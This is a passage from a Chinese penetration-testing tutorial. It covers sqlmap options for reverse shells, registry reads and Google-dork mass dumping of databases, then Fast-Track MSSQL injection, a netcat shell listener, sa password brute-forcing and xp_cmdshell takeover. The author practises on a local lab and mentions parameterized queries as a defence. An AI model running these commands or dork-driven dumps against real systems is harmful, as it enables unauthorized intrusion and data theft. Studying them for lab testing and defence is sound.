这个命令的运用过程和16是一样的,也要提供服务器的根目录,不过可以猜测出来。这个命令允许我们以交互方式操作对方主机,实在很强大。


18. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --os-pwn           #反弹shell

这是通过上传文件来实现的反向隧道连接,但是会触发主机的防火墙警报。


19. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --reg-read         #读取win系统注册表


20. python sqlmap.pysqlmap -g "google语法" --dump-all --batch  

#google搜索注入点自动 跑出所有字段,例如:inurl:index.php?id=1 filetype:php

python sqlmap.py sqlmap -g "inurl:index.php?id=1 filetype:php" --dump-all --batch  

(这个指令也有点逆天的感觉,真的感叹sqlmap真的是大神写出来的啊,一定要深入源码看看它实现折现这些强悍功能的原理)






3. Fast-Track

FastTrack是一个基于Python的开源工具,实现了一些扩展的高级渗透技术。它使用MSF框架来进行攻击载荷的植入,也可以通过客户端向量来实施渗透攻击,除此之外,它还增加了一些新特性对MSF进行补充:Microsoft SQL 攻击、更多渗透攻击模块及自动化浏览器攻击。

fasttrack提供了交互模式的用户使用接口,要进入交互模式


1) 启动FastTrack

cd /pentest/exploits/fasttrack(BT安装的时候默认是这个目录,请自行修改成实际情况fasttack所在目录)

./fast-track.py -i(命令行交互模式)

./fast-track.py -g(web界面交互模式)

本次实验采用命令行方式进行实验,毕竟是在linux下面,用输入命令的方式更舒服一点,老点鼠标也挺难受的。


2)Microsoft SQL 注入

和sqlmap一样,需要攻击者事先进行漏洞踩点,发现可能存在sql漏洞的URL,攻击者只需要确定查询语句和POST参数,其他的事情fasttrack都帮我们完成了。但是要注意,这类攻击只能针对MSSQL的web系统。因为自己是搞PHP开发的,手上没有asp+sqlserver的站,又不敢拿网上的网站来做实验,就自己搭建了一下环境,用的Z-Blog,不知道有没漏洞,但是实验原理是一样的就是了。

http://localhost:12345/zblog/view.asp?id=3

这个是实验的URL

  1. SQL注入--查询语句攻击

从菜单中选择 4.  Microsoft SQL Tools 开始部署攻击

之后选择 1. MSSQL Injector。

最简单的SQL注入方式是操纵查询语句字段,而这一字符串通常位于从浏览器发送到服务上的URL中。URL中通常包含动态查询网页信息的一些参数信息(最常见的就是根据ID值来查看不同的文章)

接着选择 1. SQL Injector - Query String Parameter Attack

输入待攻击的URL:http://localhost:12345/zblog/view.asp?id='INJECTHERE

当fasttrack开始攻击漏洞时,它将查找带有id字段的所有字段,即决定哪个字段可以被用来进行攻击。

...

listening on [any] 4444....

如果攻击成功的话就会弹出一个cmd shell,表示控制了对方机器的控制权。整个过程都是通过SQL注入完成的。但是我在实验的时候没有成功,因为z-blog使用了参数过滤了。

注意:

如果应用程序中使用了参数化的SQL查询语句或者存储过程的话,我们的攻击将不会成功。


2. SQL注入--POST参数攻击

fasttrack的POST参数攻击比进行基于URL的query攻击所需要做的配置更少。我们只要把想要攻击网页的URL输入到fasttrack中,它就会自动识别出表单并进行攻击

输入:http://localhost:12345/zblog/view.asp


3. MSSQL破解

如果管理员在安装过程中指定了要使用混合认证模式或SQL认证模式,那么安装程序的管理员需要设置一个MSSQL的sa用户帐号(即MSSQL数据库系统管理员)。如果sa账户口令被暴力破解,将导致攻击者使用扩展存储过程xp_cmdshell来攻陷整个系统。(MSF中也有类似的MSSQL暴力挂字典破解方法)

fasttack使用了几种方法来探索发现MSSQL服务器:

1) 使用nmap对MSSQL默认的TCP 1433端口进行扫描,然而如果目标主机使用MSSQL server 2005 或以后的版本,这些版本采用了动态端口技术,这样增加了猜解的难度。但是fasttrack可以直接和MSF交互,通过UDP 1434端口查找出MSSQL服务器运行的动态端口。

2) 一旦fasttrack识别出服务端口并成功爆破sa账户口令(实际没说的这么简单,需要良好的配置以及很好的社会工程字典)。fasttrack将使用高级的binnary-to-hex转换方法来植入一个攻击载荷。这个攻击的成功率相当高,特别在MSSQL广泛使用的大型网络环境下。


3)在上一个列表中选择 2. MSSQL Bruter, 选择暴力破解

(a)ttempt SQL Ping and Auto Quick Brute Force:使用这个选项来尝试扫描一段IP地址,使用语法和nmap一样,然后利用一个事先准备好的包含50个常见口令的字典文件来进行快速暴力破解(再次重申一下,这一小节的所有攻击手段都是建立在那个ASP页面本身存在注入漏洞的情况下,如果应用程序使用了参数过滤,就没办法了,只能采用手工注入的方法,自定制高级攻击手段)

输入: sa    192.168.0.103或192.168.0.1/24

(f)ind SQL Ports (SQL Ping): 这个功能选项仅仅为了寻找SQL服务器的地址,而不会发动攻击

0 0